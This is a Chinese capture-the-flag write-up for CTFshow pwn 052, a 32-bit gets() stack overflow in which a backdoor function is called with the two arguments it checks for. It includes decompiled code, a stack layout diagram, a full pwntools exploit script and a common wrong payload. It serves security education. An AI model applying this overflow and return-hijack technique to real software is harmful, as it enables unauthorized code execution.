【CTFshow-pwn系列】03_栈溢出【pwn 052】详解:32位高级传参艺术与带参后门利用

📅 发布时间:2026/7/16 4:12:06 👁️ 浏览次数:
【CTFshow-pwn系列】03_栈溢出【pwn 052】详解:32位高级传参艺术与带参后门利用
本文仅用于技术研究禁止用于非法用途。Author:枷锁在前面的关卡中我们遇到过直接跳转就能拿 Shell 的无参后门如system(/bin/sh)也体验过需要精心构造 ROP 链的复杂题目。来到PWN 052出题人的提示很嚣张“迎面走来的flag让我如此蠢蠢欲动”。将程序拖入环境你会发现这题不仅给了后门连读取 flag 的代码都帮你写好了。但如果你以为只要把 EIP 劫持过去就能万事大吉那你大概率会看着屏幕上的Segmentation fault陷入沉思。这是一道经典的32位带参后门函数利用题目是对新手理解 32 位栈结构与函数调用约定Calling Convention的绝佳测验。第一部分题目信息与环境侦察1. 检查保护机制 (checksec)~/Desktop .............................................................. at 18:43:17 checksec pwn [*] /home/shining/Desktop/pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: NoArch:i386-32-little(32位程序关键点参数是通过栈来传递的而不是寄存器)Stack:No canary found(无栈哨兵随便溢出)NX:NX enabled(栈不可执行)PIE:No PIE(基址固定我们可以直接使用代码段中的函数地址)第二部分破局思路与静态分析硬核剖析1. 寻找溢出点将程序拖入 IDA Pro首先查看main函数顺着逻辑跟进到核心的ctfshow函数int ctfshow() { char s[104]; // [espCh] [ebp-6Ch] BYREF gets(s); // 致命漏洞gets 读入无长度限制 return puts(s); }分析极其经典的栈溢出漏洞s距离ebp的偏移是0x6c108 字节。只需108 4 112字节的 Padding我们就能控制程序的返回地址Return Address。2. 分析后门函数按Shift F12查看字符串发现敏感字符串/ctfshow_flag双击交叉引用我们找到了出题人精心准备的后门函数flagchar *__cdecl flag(int a1, int a2) { char *result; // eax char s[64]; // [espCh] [ebp-4Ch] BYREF FILE *stream; // [esp4Ch] [ebp-Ch] stream fopen(/ctfshow_flag, r); if ( !stream ) { puts(/ctfshow_flag: No such file or directory.); exit(0); } result fgets(s, 64, stream); // 【核心考点条件判断】 if ( a1 876 a2 877 ) return (char *)printf(s); // 只有满足条件才会打印 flag return result; // 否则直接返回指针你在屏幕上什么都看不到 }逻辑剖析这个后门函数不仅需要被调用还必须携带两个特定的参数参数一a1必须等于876(十六进制0x36C)参数二a2必须等于877(十六进制0x36D)只有同时满足这两个条件程序才会执行printf(s)将 flag 拍在你脸上。3. 32位程序传参的底层逻辑弹道计算在 64 位程序中传参靠的是rdi, rsi, rdx寄存器。但在 32 位程序中参数是直接放在栈上的。正常的函数调用比如call flag在汇编层面会发生什么程序先将参数从右往左压入栈中push a2,push a1。执行call flag。call指令会自动将**下一条指令的地址即返回地址**压入栈中。跳转到flag函数内部执行。所以在flag函数刚开始执行时栈的结构一定是这样的[返回地址] - [参数1] - [参数2]。既然我们现在是用栈溢出来伪造这次函数调用我们就必须在 Payload 中完美复刻出这种栈结构我们画出栈布局图Stack Layout高地址 ------------------------- | 0x36D (877) | -- 参数 2 (a2) ------------------------- | 0x36C (876) | -- 参数 1 (a1) ------------------------- | 0x00000000 | -- 伪造的返回地址 (由于执行完我们不需要它再活下去随便填个0) ------------------------- | flag 函数地址 | -- 覆盖原函数的 Return Address劫持 EIP ------------------------- | Saved EBP (4 bytes) | -- ebp 指向这里 ------------------------- | Padding... | -- a * 108 | s 缓冲区 (108 bytes) | ------------------------- 低地址第三部分实战 EXP 编写与详解 (Pwntools 魔法)理解了栈布局EXP 的编写就只是按图索骥了。from pwn import * # 基础配置设置架构为 32位 linux开启 debug 模式 context(archi386, oslinux, log_leveldebug) # --- 环境配置 --- # [本地调试] (当前开启) io process(./pwn) # [远程打靶] (已注释) # io remote(pwn.challenge.ctf.show, 28159) # 加载 ELF可以直接获取函数地址 elf ELF(./pwn) flag_addr elf.sym[flag] # # Payload 构造区 (The Grand Chain) # # 1. 填满 s[104] 到 ebp 的 0x6c (108字节) 距离外加 4 字节覆盖旧的 ebp payload ba * (0x6c 4) # 2. 劫持 EIP 到 flag 函数 payload p32(flag_addr) # 3. 填充 flag 函数执行完后的返回地址 (小白极易漏掉这里) # 因为拿完 flag 程序就可以去死了填 0 即可 payload p32(0) # 4. 传入参数 a1 (876 / 0x36c) payload p32(0x36c) # 5. 传入参数 a2 (877 / 0x36d) payload p32(0x36d) # 发送致命一击 io.sendline(payload) # 拿 Shell / 读 Flag io.interactive()第四部分小白踩坑实录 (那个诡异的 p32(0))很多新手在做这道题时算对了 Padding 偏移找对了 flag 地址也知道要把 876 和 877 传进去。于是他们写出了这样的 Payload# 错误的 Payload ❌ payload ba * (0x6c 4) p32(flag_addr) p32(0x36c) p32(0x36d)结果一打程序毫无反应甚至报 Segmentation fault“为什么参数明明跟着函数地址啊”原理解析这就是我们在第二部分强调的栈结构错位 当你用栈溢出覆盖 EIP 跳转到flag_addr时CPU 认为你是通过ret指令跳过去的而不是call指令。flag函数内部的汇编代码在取参数时它会死板地认为ESP 4的位置是参数1ESP 8的位置是参数2。如果你省掉了那个代表“返回地址”的 4 字节栈结构就会错位程序去ESP4拿参数1时拿到的是0x36D(877)程序去ESP8拿参数2时拿到的可能是栈上的随机垃圾数据自然if ( a1 876 a2 877 )这个条件永远不可能成立终极口诀在 32 位 Pwn 中直接调用函数并传参的经典格式永远是[函数地址] [返回地址(通常填0即可)] [参数1] [参数2] ...记住这个口诀带参后门题目从此在你眼中形同虚设。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。